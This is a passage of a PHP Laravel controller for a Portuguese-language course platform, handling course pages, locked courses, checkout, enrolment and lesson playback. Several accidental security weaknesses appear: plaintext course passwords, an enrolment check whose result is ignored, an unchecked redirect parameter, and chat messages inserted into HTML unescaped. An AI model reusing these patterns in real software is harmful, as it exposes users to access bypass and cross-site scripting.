floor($aula->duracao / 60); $minutos = number_format((($aula->duracao / 60) - $horas) * 60, 0); $aula->duracao = $horas . ':' . ($minutos < 10 ? '0' . $minutos : $minutos); } else { $aula->duracao = '00:' . ($aula->duracao < 10 ? '0' . $aula->duracao : $aula->duracao); } } if($curso->duracao > 60) { $horas = floor($curso->duracao / 60); $minutos = number_format((($curso->duracao / 60) - $horas) * 60, 0); $curso->duracao = $horas . ':' . ($minutos < 10 ? '0' . $minutos : $minutos); } else { $curso->duracao = '00:' . ($curso->duracao < 10 ? '0' . $curso->duracao : $curso->duracao); } if(AvaliacaoCurso::where('curso_id', '=', $curso->id)->avg('avaliacao') > 0) $curso->avaliacao = AvaliacaoCurso::where('curso_id', '=', $curso->id)->avg('avaliacao'); else $curso->avaliacao = 5; if(AvaliacaoInstrutor::where('instrutor_id', '=', $curso->user_id)->avg('avaliacao') > 0) $curso->user->avaliacao = AvaliacaoInstrutor::where('instrutor_id', '=', $curso->user_id)->avg('avaliacao'); else $curso->user->avaliacao = 5; if(AvaliacaoEscola::where('escola_id', '=', $curso->escola_id)->avg('avaliacao') > 0) $curso->avaliacao_escola = AvaliacaoEscola::where('escola_id', '=', $curso->escola_id)->avg('avaliacao'); else $curso->avaliacao_escola = 5; Metrica::create([ 'user_id' => Auth::check() ? Auth::user()->id : 0, 'titulo' => 'Visualização curso - ' . $curso->id ]); $curso->visualizacoes = Metrica::where('titulo', '=', 'Visualização curso - ' . $curso->id)->count(); $matricula = Auth::check() ? Matricula::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $curso->id]])->first() : null; $curso->transacoes = null; $curso->statusPagamento = null; if(Auth::check()) { $curso->transacoes = collect(); foreach (ProdutoTransacao::where([['user_id', '=', Auth::user()->id], ['produto_id', '=', $curso->id]])->get() as $produto) { if(Transacao::where('referencia_id', $produto->transacao_id)->first() != null) { $curso->transacoes->push( Transacao::where('referencia_id', $produto->transacao_id)->first() ); } } // dd(ProdutoTransacao::where([['user_id', '=', Auth::user()->id], ['produto_id', '=', $curso->id]])->get()); $curso->transacoes = $curso->transacoes->unique(function ($item) { return $item->id; }); if(count($curso->transacoes) > 0) { $curso->statusPagamento = $curso->transacoes[0]->status; } foreach ($curso->transacoes as $transacao) { if($transacao->status == 3 || $transacao->status == 4) { $curso->statusPagamento = $transacao->status; break; } } } // dd($curso->avaliacoes_user[0]->user->name); // dd($curso); // dd($curso->transacoes); // dd($curso->topicos); return view('curso.index')->with(compact('curso', 'matricula')); } public function cursoTrancado($idCurso) { if(is_numeric($idCurso)) { if(Curso::find($idCurso) != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user')->find($idCurso); } } else { if(Curso::where('titulo', '=', str_replace('-', ' ', $idCurso))->first() != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user')->where('titulo', '=', str_replace('-', ' ', $idCurso))->first(); } elseif(is_numeric( substr(strrchr($idCurso, "-"), 1) )) { if(Curso::find(substr(strrchr($idCurso, "-"), 1)) != null) { $temp = Curso::find(substr(strrchr($idCurso, "-"), 1)); $tempTitulo = mb_strtolower(str_replace(' ', '-', $temp->titulo) . '-' . $temp->id, 'utf-8'); if($tempTitulo == $idCurso) { $curso = Curso::find(substr(strrchr($idCurso, "-"), 1)); } } } } if(isset($curso) ? ($curso == null) : (true)) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } if($curso->status != 1) { if(Auth::check() ? (strtoupper(Auth::user()->permissao) != "Z" && $curso->user_id != Auth::user()->id) : true) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } else { Session::flash('previewMode', true); } } if(Session::has('senhaCurso'. $curso->id)) { if(Session::get('senhaCurso'. $curso->id) == $curso->senha) { if($curso->escola_id != 1 && \App\Escola::find($curso->escola_id) != null) { return redirect()->route('curso', ['escola_id' => \App\Escola::find($curso->escola_id)->url, 'idCurso' => $idCurso]); } else { return redirect()->route('curso', ['idCurso' => $idCurso]); } } else { Session::forget('senhaCurso'. $curso->id); } } return view('curso.trancado')->with(compact('curso')); } public function postAcessarCursoTrancado($idCurso, Request $request) { if(is_numeric($idCurso)) { if(Curso::find($idCurso) != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user')->find($idCurso); } } else { if(Curso::where('titulo', '=', str_replace('-', ' ', $idCurso))->first() != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user')->where('titulo', '=', str_replace('-', ' ', $idCurso))->first(); } elseif(is_numeric( substr(strrchr($idCurso, "-"), 1) )) { if(Curso::find(substr(strrchr($idCurso, "-"), 1)) != null) { $temp = Curso::find(substr(strrchr($idCurso, "-"), 1)); $tempTitulo = mb_strtolower(str_replace(' ', '-', $temp->titulo) . '-' . $temp->id, 'utf-8'); if($tempTitulo == $idCurso) { $curso = Curso::find(substr(strrchr($idCurso, "-"), 1)); } } } } if(isset($curso) ? ($curso == null) : (true)) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } if($curso->status != 1) { if(Auth::check() ? (strtolower(Auth::user()->permissao) != "z" && $curso->user_id != Auth::user()->id) : true) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } else { Session::flash('previewMode', true); } } if($request->senha == $curso->senha) { Session::put('senhaCurso'. $curso->id, $request->senha); if($curso->escola_id != 1 && \App\Escola::find($curso->escola_id) != null) { return redirect()->route('curso', ['escola_id' => \App\Escola::find($curso->escola_id)->url, 'idCurso' => $idCurso]); } else { return redirect()->route('curso', ['idCurso' => $idCurso]); } } else { return Redirect::back()->withErrors(['Senha do curso inválida!']); } } function checkoutCurso($idCurso) { if(Curso::find($idCurso)) { $curso = Curso::with('user')->where('id', '=', $idCurso)->get()->first(); } else { return Redirect::back()->withErrors(['Curso não encontrado!']); } if($curso->status == 0) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } $produto = (object) [ 'id' => $idCurso, 'preco' => $curso->preco, 'titulo' => ucfirst($curso->titulo), "descricao" => substr(ucfirst($curso->descricao), 0, 50) . '.', "tipo" => 2, "transacoes" => null, "referencia" => null, "quantidade" => null, "recorrencia" => null, ]; Session::put('carrinho', [$produto]); $total = 0; $produto->curso = Curso::find($idCurso); $produto->transacoes = collect(); foreach (ProdutoTransacao::where([['user_id', '=', Auth::user()->id], ['produto_id', '=', $curso->id]])->get() as $prod) { if(Transacao::where([['referencia_id', '=', $prod->transacao_id], ['status', '<', 5]])->first() != null) { $produto->transacoes->push(Transacao::where([['referencia_id', '=', $prod->transacao_id], ['status', '<', 5]])->first()); } } $produto->transacoes = $produto->transacoes->unique(function ($item) { return $item->id; }); if(count($produto->transacoes) > 0) { Session::put('carrinho', []); return redirect()->route('curso', ['idCurso' => $produto->id]); } $total += $produto->preco; if($total == 0) { return redirect()->route('curso.matricular', ['idCurso' => $produto->id]); } // dd($curso); // return view('checkout')->with(compact('cursos', 'total')); return redirect()->route('wirecard.checkout'); } public function cursoCarrinho($idCurso, Request $request) { if(is_numeric($idCurso)) { if(Curso::find($idCurso) != null) { $curso = Curso::find($idCurso); } else { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } } else { if(Curso::where('titulo', '=', str_replace('-', ' ', $idCurso))->first() != null) { $curso = Curso::where('titulo', '=', str_replace('-', ' ', $idCurso))->first(); } else { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } } if($curso->status == 0) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } $produto = (object) [ 'id' => $idCurso, 'preco' => $curso->preco, 'titulo' => ucfirst($curso->titulo), "descricao" => substr(ucfirst($curso->descricao), 0, 50) . '.', "tipo" => 2, "curso" => $curso, "transacoes" => null, "referencia" => null, "quantidade" => null, "recorrencia" => null, ]; if(Session::has('carrinho')) { $carrinho = Session::get('carrinho'); if(array_search($idCurso, array_column($carrinho, 'id')) === false) { array_push($carrinho, $produto); Session::put('carrinho', $carrinho); } else { Session::flash('message', "Este produto já está em seu carrinho!"); } } else { Session::put('carrinho', [$produto]); } // Session::flash('message', "Curso adicionado ao carrinho!"); if($request->return != "") { return redirect($request->return); } return redirect()->route('carrinho.index'); } public function matricular($idCurso) { if(is_numeric($idCurso)) { if(Curso::find($idCurso) != null) { $curso = Curso::find($idCurso); } else { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } } else { if(Curso::where('titulo', '=', str_replace('-', ' ', $idCurso))->first() != null) { $curso = Curso::where('titulo', '=', str_replace('-', ' ', $idCurso))->first(); } else { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } } if($curso->status != 1) { if(Auth::check() ? (strtolower(Auth::user()->permissao) != "z" && $curso->user_id != Auth::user()->id) : true) { Session::flash('error', "Curso não encontrado!"); return redirect()->route('catalogo'); } else { Session::flash('previewMode', true); } } if(Matricula::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $curso->id]])->first() != null) { if(\App\Escola::find($curso->escola_id) != null) { return redirect()->route('curso.play', ['escola_id' => \App\Escola::find($curso->escola_id)->url, 'idCurso' => $curso->id]); } else { return redirect()->route('curso.play', ['idCurso' => $curso->id]); } } if($curso->preco > 0 && (Auth::check() ? (strtoupper(Auth::user()->permissao) != "Z" && $curso->user_id != Auth::user()->id) : true)) { $curso->transacoes = collect(); $curso->pago = false; foreach (ProdutoTransacao::where([['user_id', '=', Auth::user()->id], ['produto_id', '=', $curso->id]])->get() as $produto) { if(Transacao::where([['referencia_id', '=', $produto->transacao_id], ['status', '<', 5]])->first() != null) { $curso->transacoes->push(Transacao::where([['referencia_id', '=', $produto->transacao_id], ['status', '<', 5]])->first()); } if(Transacao::where([['referencia_id', '=', $produto->transacao_id], ['status', '=', 3]])->orWhere([['id', '=', $produto->transacao_id], ['status', '=', 4]])->first() != null) { $curso->pago = true; } } $curso->transacoes = $curso->transacoes->unique(function ($item) { return $item->id; }); if(count($curso->transacoes) == 0) { return redirect()->route('checkout'); // return redirect()->route('curso.checkout', ['idCurso' => $curso->id]); } else { if($curso->pago) { Matricula::create([ 'user_id' => Auth::user()->id, 'curso_id' => $curso->id, ]); if(\App\Escola::find($curso->escola_id) != null) { return redirect()->route('curso.play', ['escola_id' => \App\Escola::find($curso->escola_id)->url, 'idCurso' => $curso->id]); } else { return redirect()->route('curso.play', ['idCurso' => $curso->id]); } } else { if(\App\Escola::find($curso->escola_id) != null) { return redirect()->route('curso', ['escola_id' => \App\Escola::find($curso->escola_id)->url, 'idCurso' => $curso->id]); } else { return redirect()->route('curso', ['idCurso' => $curso->id]); } } } } else { Matricula::create([ 'user_id' => Auth::user()->id, 'curso_id' => $curso->id, ]); if(\App\Escola::find($curso->escola_id) != null) { return redirect()->route('curso.play', ['escola_id' => \App\Escola::find($curso->escola_id)->url, 'idCurso' => $curso->id]); } else { return redirect()->route('curso.play', ['idCurso' => $curso->id]); } } } public function playCurso($idCurso) { $curso = null; if(is_numeric($idCurso)) { if(Curso::find($idCurso) != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user')->where([['id', '=', $idCurso]])->first(); } } else { if(Curso::where('titulo', '=', $idCurso)->first() != null) { $curso = Curso::with('aulas', 'user', 'avaliacoes_user')->where([['titulo', '=', $idCurso]])->first(); } elseif(is_numeric( substr(strrchr($idCurso, "-"), 1) )) { if(Curso::find(substr(strrchr($idCurso, "-"), 1)) != null) { $temp = Curso::find(substr(strrchr($idCurso, "-"), 1)); $tempTitulo = mb_strtolower($temp->titulo . '-' . $temp->id, 'utf-8'); if($tempTitulo == $idCurso) { $curso = Curso::find(substr(strrchr($idCurso, "-"), 1)); } } } } if($curso == null) { return Redirect::back()->withErrors(['Curso não encontrado!']); } // if(Curso::find($curso->id)) // { // $curso = Curso::with('aulas')->find($curso->id); // } // else // { // return Redirect::back()->withErrors(['Curso não encontrado!']); // } if($curso->status != 1) { if(Auth::check() ? (strtolower(Auth::user()->permissao) != "z" && $curso->user_id != Auth::user()->id) : true) { return Redirect::back()->withErrors(['Curso não encontrado!']); } else { Session::flash('previewMode', true); } } if(Matricula::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $curso->id]])->first() == null) { return redirect()->route('curso.matricular', ['idCurso' => $curso->id]); } if(count($curso->aulas) == 0) { return Redirect::back()->withErrors(['Este curso ainda não possui nenhuma aula!']); } $conteudosCompletos = 0; foreach ($curso->aulas as $key => $aula) { // $aula->conteudos = Conteudo::where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]])->orderBy('ordem')->get(); $aula->conteudos = Conteudo::with('conteudos_aula') ->whereHas('conteudos_aula', function ($query) use ($curso, $aula) { $query->where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]]); }) // ->orderBy('ordem', 'asc') ->get() ->sortBy('conteudos_aula.ordem'); // dd($aula->conteudos); $aula->conteudos = Conteudo::detalhado($aula->conteudos); $conteudosCompletos = 0; foreach ($aula->conteudos as $conteudo) { $conteudo->conteudo_completo = ConteudoCompleto::where([['conteudo_id', '=', $conteudo->id], ['aula_id', '=', $aula->id], ['curso_id', '=', $curso->id], ['user_id', '=', Auth::user()->id]])->first(); $conteudo->correto = null; if($conteudo->conteudo_completo != null) $conteudosCompletos ++; if($conteudo->tipo == 8) { $tempCont = json_decode($conteudo->conteudo); if($conteudo->conteudo_completo != null) if($tempCont->correta == ConteudoCompleto::where([['conteudo_id', '=', $conteudo->id], ['aula_id', '=', $aula->id], ['curso_id', '=', $curso->id], ['user_id', '=', Auth::user()->id]])->first()->resposta) { $conteudo->correto = true; } else { $conteudo->correto = false; $conteudosCompletos --; } } elseif($conteudo->tipo == 7 || $conteudo->tipo == 10) { if($conteudo->conteudo_completo != null) if(ConteudoCompleto::where([['conteudo_id', '=', $conteudo->id], ['aula_id', '=', $aula->id], ['curso_id', '=', $curso->id], ['user_id', '=', Auth::user()->id]])->first()->correta === "1") { $conteudo->correto = true; } elseif(ConteudoCompleto::where([['conteudo_id', '=', $conteudo->id], ['aula_id', '=', $aula->id], ['curso_id', '=', $curso->id], ['user_id', '=', Auth::user()->id]])->first()->correta === "0") { $conteudo->correto = false; $conteudosCompletos --; } } } if($conteudosCompletos == count($aula->conteudos)) { $aula->completa = true; } else { $aula->completa = false; } } $avaliouCurso = (AvaliacaoCurso::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $curso->id]])->first() != null); $avaliouProfessor = (AvaliacaoInstrutor::where([['user_id', '=', Auth::user()->id], ['instrutor_id', '=', $curso->user_id]])->first() != null); $avaliouEscola = (AvaliacaoEscola::where([['user_id', '=', Auth::user()->id], ['escola_id', '=', $curso->escola_id]])->first() != null); // if($conteudosCompletos >= Conteudo::where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]])->count()) if($conteudosCompletos >= Conteudo:: // whereHas('conteudo_aula', function ($query) use ($curso, $aula) { // $query->where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]]); // }) whereHas('conteudo_aula', function ($query) use ($curso) { $query->where([['curso_id', '=', $curso->id]]); }) ->count()) { $curso->completo = true; } else { $curso->completo = false; } $qtAulas = Aula::where('curso_id', '=', $curso->id)->count(); if($curso->completo) { $ultimaAula = 0; $ultimoConteudo = 0; } else { foreach (Aula::where('curso_id', '=', $curso->id)->orderBy('id', 'asc')->get() as $key => $aula) { // $totalConteudosCurso = Conteudo::where([['curso_id', '=', $curso->id], ['obrigatorio', '=', '1'], ['aula_id', '=', $aula->id]])->count(); $totalConteudosCurso = Conteudo::whereHas('conteudo_aula', function ($query) use ($curso, $aula) { $query->where([['curso_id', '=', $curso->id], ['obrigatorio', '=', '1'], ['aula_id', '=', $aula->id]]); })->count(); if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]])->count() >= $totalConteudosCurso) { continue; } else { if(\Request::has('aula') ? Aula::where([['curso_id', '=', $curso->id], ['id', '=', \Request::get('aula')]])->exists() : false) $ultimaAula = \Request::get('aula'); else $ultimaAula = $aula->id; // $conteudos_curso = Conteudo::where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]])->orderBy('ordem', 'asc')->get(); $conteudos_curso = Conteudo::with('conteudos_aula')->whereHas('conteudos_aula', function ($query) use ($curso, $aula) { $query->where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]]); }) ->get() ->sortBy('conteudos_aula.ordem'); foreach ($conteudos_curso as $key2 => $conteudo) { if(ConteudoCompleto::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id], ['conteudo_id', '=', $conteudo->id]])->first() != null) { continue; } else { if(\Request::has('conteudo')) { // $tem_conteudo = ConteudoAula::where([['curso_id', '=', $curso->id], ['aula_id', '=', $ultimaAula], ['id', '=', \Request::get('conteudo')]])->exists(); $tem_conteudo = ConteudoAula::where([['curso_id', '=', $curso->id], ['aula_id', '=', $ultimaAula], ['conteudo_id', '=', \Request::get('conteudo')]])->exists(); if($tem_conteudo) { $ultimoConteudo = \Request::get('conteudo'); } else { $ultimoConteudo = $conteudo->id; } } else { $ultimoConteudo = $conteudo->id; } // $qtConteudos = Conteudo::where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]])->orderBy('ordem', 'asc')->count(); $qtConteudos = Conteudo::with('conteudos_aula')->whereHas('conteudos_aula', function ($query) use ($curso, $aula) { $query->where([['curso_id', '=', $curso->id], ['aula_id', '=', $aula->id]]); })->count(); break; } } break; } } } // dd($curso); return view('play.curso')->with(compact('curso', 'ultimaAula', 'ultimoConteudo', 'avaliouCurso', 'avaliouProfessor', 'avaliouEscola')); } function checkMatricula($idCurso) { if(Curso::find($idCurso)) { $curso = Curso::with('aulas')->find($idCurso); } else { return response()->json(['error' => 'Curso não encontrado']); } if(Matricula::where([['user_id', '=', Auth::user()->id], ['curso_id', '=', $curso->id]])->first() == null) { return response()->json(['error' => 'Matricula não encontrada']); } } function playGetAula($idCurso, $idAula) { $this->checkMatricula($idCurso); if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { $aula = Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first()->withConteudos(); return response()->json(['success'=> 'Aula encontrada.', 'aula' => json_encode($aula)]); } else { return response()->json(['error' => 'Não encontrado']); } } function playGetConteudo($idCurso, $idAula, $idConteudo) { $this->checkMatricula($idCurso); if(Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) { $aula = Aula::where([['id', '=', $idAula], ['curso_id', '=', $idCurso]])->first(); // if(Conteudo::where([['id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso]])->first() != null) if(Conteudo::where([['id', '=', $idConteudo]])->first() != null) { $aula->conteudo = Conteudo::where([['id', '=', $idConteudo]])->first(); $aula->conteudo->completo = false; if(ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first() != null) { $aula->conteudo->completo = true; $resposta = ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first()->resposta; } if($aula->conteudo->tipo == 2) { if(strpos($aula->conteudo->conteudo, "soundcloud.com") !== false) { $aula->conteudo->conteudo = '<iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=' . $aula->conteudo->conteudo . '&color=%236766a6&auto_play=false&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe>'; } elseif(strpos($aula->conteudo->conteudo, "http") !== false || strpos($aula->conteudo->conteudo, "www") !== false) { $aula->conteudo->conteudo = '<audio id="player" controls style="width: 100%;"> <source src="' . $aula->conteudo->conteudo . '" type="audio/mp3"> Your browser does not support the audio element. </audio>'; // Insert plyr script tag $aula->conteudo->conteudo = $aula->conteudo->conteudo . '<script> if(player != undefined) player = new Plyr(\'#player\'); else player = new Plyr(\'#player\'); </script>'; } else { $aula->conteudo->conteudo = '<audio id="player" controls style="width: 100%;"> <source src="' . route('curso.play.get-arquivo', ['idCurso' => $idCurso, 'idAula' => $idAula, 'idConteudo' => $idConteudo]) . '" type="audio/mp3"> Your browser does not support the audio element. </audio>'; // Insert plyr script tag $aula->conteudo->conteudo = $aula->conteudo->conteudo . '<script> if(player != undefined) player = new Plyr(\'#player\'); else player = new Plyr(\'#player\'); </script>'; } } else if($aula->conteudo->tipo == 3) { // if(strpos($aula->conteudo->conteudo, "www") === false && strpos($aula->conteudo->conteudo, "http") === false) // { // $filePath = 'uploads/cursos/' . $idCurso . '/arquivos/' . $aula->conteudo->conteudo; // if(\Storage::disk('gcs')->exists($filePath)) // { // if(\Storage::disk('gcs')->getVisibility($filePath) == 'public') // { // \Storage::disk('gcs')->setVisibility($filePath, 'private'); // } // $aula->conteudo->conteudo = \Storage::disk('gcs')->getAdapter()->getBucket()->object($filePath)->signedUrl(now()->addSeconds(120)); // // $aula->conteudo->conteudo = \Storage::disk('gcs')->url($filePath); // } // } if(strpos($aula->conteudo->conteudo, "youtube") !== false || strpos($aula->conteudo->conteudo, "youtu.be") !== false) { if(strpos($aula->conteudo->conteudo, "youtu.be") !== false) { $aula->conteudo->conteudo = str_replace("youtu.be", "youtube.com/embed/", $aula->conteudo->conteudo); } if(strpos($aula->conteudo->conteudo, "/embed/") === false) { $aula->conteudo->conteudo = str_replace("/watch?v=", "/embed/", $aula->conteudo->conteudo); } if(strpos($aula->conteudo->conteudo, "&") !== false) { $aula->conteudo->conteudo = substr($aula->conteudo->conteudo, 0, strpos($aula->conteudo->conteudo, "&")); } $aula->conteudo->conteudo = '<iframe src="' . $aula->conteudo->conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } elseif(strpos($aula->conteudo->conteudo, "fast.player.liquidplatform.com") !== false) { $aula->conteudo->conteudo = '<iframe src="' . $aula->conteudo->conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } elseif(strpos($aula->conteudo->conteudo, "vimeo") !== false) { if(strpos($aula->conteudo->conteudo, "player.vimeo.com") === false) { // $aula->conteudo->conteudo = str_replace("vimeo.com/", "player.vimeo.com/video/", $aula->conteudo->conteudo); $aula->conteudo->conteudo = str_replace("vimeo.com/", "", $aula->conteudo->conteudo); $aula->conteudo->conteudo = str_replace("player.vimeo.com/video/", "", $aula->conteudo->conteudo); $aula->conteudo->conteudo = str_replace("https://", "", $aula->conteudo->conteudo); $aula->conteudo->conteudo = str_replace("http://", "", $aula->conteudo->conteudo); $aula->conteudo->conteudo = str_replace("www.", "", $aula->conteudo->conteudo); if(substr_count($aula->conteudo->conteudo, '/') > 0) { $aula->conteudo->conteudo = substr($aula->conteudo->conteudo, 0, strrpos($aula->conteudo->conteudo, '/')); } $aula->conteudo->conteudo = 'https://player.vimeo.com/video/' . $aula->conteudo->conteudo; } $aula->conteudo->conteudo = '<iframe src="' . $aula->conteudo->conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen> </iframe>'; } elseif(strpos($aula->conteudo->conteudo, "http") !== false || strpos($aula->conteudo->conteudo, "www") !== false) { $aula->conteudo->conteudo = '<video id="player" controls style="width: 100%; height: 41vw;"> <source src="' . $aula->conteudo->conteudo . '" type="video/mp4"> Your browser does not support the video element. </video>'; // Insert plyr script tag $aula->conteudo->conteudo = $aula->conteudo->conteudo . '<script> if(player != undefined) player = new Plyr(\'#player\'); else player = new Plyr(\'#player\'); </script>'; } else { $aula->conteudo->conteudo = '<video id="player" controls style="width: 100%; height: 41vw;"> <source src="' . route('curso.play.get-arquivo', ['idCurso' => $idCurso, 'idAula' => $idAula, 'idConteudo' => $idConteudo]) . '" type="video/mp4"> Your browser does not support the video element. </video>'; // Insert plyr script tag $aula->conteudo->conteudo = $aula->conteudo->conteudo . '<script> if(player != undefined) player = new Plyr(\'#player\'); else player = new Plyr(\'#player\'); </script>'; } } else if($aula->conteudo->tipo == 4) { if(strpos($aula->conteudo->conteudo, "http") === false && strpos($aula->conteudo->conteudo, "www") === false) { $url_conteudo = route('conteudo.play.get-arquivo', ['idConteudo' => $idConteudo]); } else { $url_conteudo = $aula->conteudo->conteudo; } if (strpos($aula->conteudo->conteudo, ".ppt") !== false || strpos($aula->conteudo->conteudo, ".pptx") !== false) { $aula->conteudo->conteudo = '<iframe src="https://view.officeapps.live.com/op/view.aspx?src=' . $url_conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } elseif (strpos($aula->conteudo->conteudo, ".html") !== false) { $aula->conteudo->conteudo = '<iframe src="' . $url_conteudo . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> </iframe>'; } else { $aula->conteudo->conteudo = '<object data="' . $url_conteudo . '" type="application/pdf" style="width: 100%; height: 41vw;"> </object>'; } // if(strpos($aula->conteudo->conteudo, ".ppt") !== false) // { // $aula->conteudo->conteudo = '<iframe src="https://view.officeapps.live.com/op/view.aspx?src=' . route('curso.play.get-arquivo', ['idCurso' => $idCurso, 'idAula' => $idAula, 'idConteudo' => $idConteudo]) . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> // </iframe>'; // } // elseif(strpos($aula->conteudo->conteudo, ".html") !== false) // { // // $aula->conteudo->conteudo = '<iframe src="http://docs.google.com/gview?url=' . route('curso.play.get-arquivo', ['idCurso' => $idCurso, 'idAula' => $idAula, 'idConteudo' => $idConteudo]) . '&embedded=true" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> // // </iframe>'; // $aula->conteudo->conteudo = '<iframe src="' . route('curso.play.get-arquivo', ['idCurso' => $idCurso, 'idAula' => $idAula, 'idConteudo' => $idConteudo]) . '" style="width: 100%; height: 41vw;" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen> // </iframe>'; // } // else // { // $aula->conteudo->conteudo = '<object data="' . route('curso.play.get-arquivo', ['idCurso' => $idCurso, 'idAula' => $idAula, 'idConteudo' => $idConteudo]) . '" type="application/pdf" style="width: 100%; height: 41vw;"> // </object>'; // } } else if($aula->conteudo->tipo == 5) { $mensagensTransmissao = ''; foreach (MensagemTransmissao::with('user')->where([['curso_id', '=', $idCurso], ['aula_id', '=', $idAula], ['conteudo_id', '=', $idConteudo]])->orderBy('created_at', 'asc')->get() as $mensagem) { $mensagensTransmissao = $mensagensTransmissao . '<div id="divMensagem' . $mensagem->id . '" style="font-size: 1vw/*18px*/;color: #BCBCBC;max-width: 100%;padding: 12px 8px;"> <div style="display: inline-block;border: 2px solid #207adc;vertical-align: middle;margin: 0px;background: url(' . route('usuario.perfil.image', [$mensagem->user->id]) . ');width: 45px;height: 45px;background-size: cover !important;background-repeat: no-repeat !important;background-position: 50% 50% !important;border-radius: 50%;margin-right: 8px;"> </div> <div style="vertical-align: middle;display: inline-block;max-width: calc(100% - 58px);text-align: -webkit-left;color: #207adc;font-weight: bold;"> ' . ucfirst($mensagem->user->name) . ': <span style="color: #354353;"> ' . $mensagem->mensagem . ' </span> </div> </div>'; } $aula->conteudo->conteudo = '<video id="my_video_1" class="video-js vjs-default-skin" controls preload="auto" style="width: 70%; height: 41vw; display: inline-block;" data-setup=""> <source src="' . $aula->conteudo->conteudo . '" type="application/x-mpegURL"> </video> <div id="divMainChat" style="display: inline-block;width: calc( 30% - 10px);vertical-align: top;text-align: -webkit-center;height: 41vw;position: relative;transition: all .3s ease-in-out;"> <div style="width: 100%;height: 100%;background-color: #F9F9F9;"> <div style="padding: 14px 4px;color: white;font-size: 1.2vw;background-color: #008CC8;max-height: 51px;overflow: hidden;text-overflow: ellipsis;white-space: nowrap;text-transform: uppercase;"> Chat de transmissão ao vivo </div> <div id="divConteudoMensagens" style="text-align: -webkit-left;height: calc( 92% - 52px);overflow: auto;"> ' . $mensagensTransmissao . ' </div> <div class="msb-reply" style="display: block;height: 8%;position: relative;border-top: 1px solid #eee;background: #F3F3F3;margin: 0px;box-shadow: none;"> <textarea id="txtConteudoMensagem" placeholder="Envie uma mensagem." onkeyup="if(event.keyCode == 13 &amp;&amp; !event.shiftKey){enviarMensagemChatTransmissao();};" style="width: calc(100% - 50px);min-height: 10px;max-height: 100%;border: 0;padding: 10px 15px;resize: none;height: 60px;background: 0 0;font-size: 16px;vertical-align: middle;"></textarea> <button class="btn bg-transparent border-0" onclick="enviarMensagemChatTransmissao();" style="color: #008CC8;vertical-align:middle;"><i class="fas fa-paper-plane"></i></button> </div> </div> </div> <script> var player = videojs("my_video_1"); timestamp = "' . strtotime(date('Y-m-d H:i:s')) . '"; </script>'; } else if($aula->conteudo->tipo == 6) { $aula->conteudo->conteudo = '<div> <h4>' . ucfirst($aula->conteudo->titulo) . '</h4> <p>' . ucfirst($aula->conteudo->descricao) . '</p> <a href="' . route('curso.play.get-arquivo', ['idCurso' => $idCurso, 'idAula' => $idAula, 'idConteudo' => $idConteudo]) . '" target="_blank" class="btn btn-primary btn-lg"> <i class="fas fa-arrow-alt-circle-down mr-2"></i> Clique para baixar o arquivo </a> </div>'; } else if($aula->conteudo->tipo == 7) { $tempCont = json_decode($aula->conteudo->conteudo); if($aula->conteudo->completo) { if(ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', Auth::user()->id]])->first()->correta == "1") { $aula->conteudo->correto = true; } elseif(ConteudoCompleto::where([['conteudo_id', '=', $idConteudo], ['aula_id', '=', $idAula], ['curso_id', '=', $idCurso], ['user_id', '=', 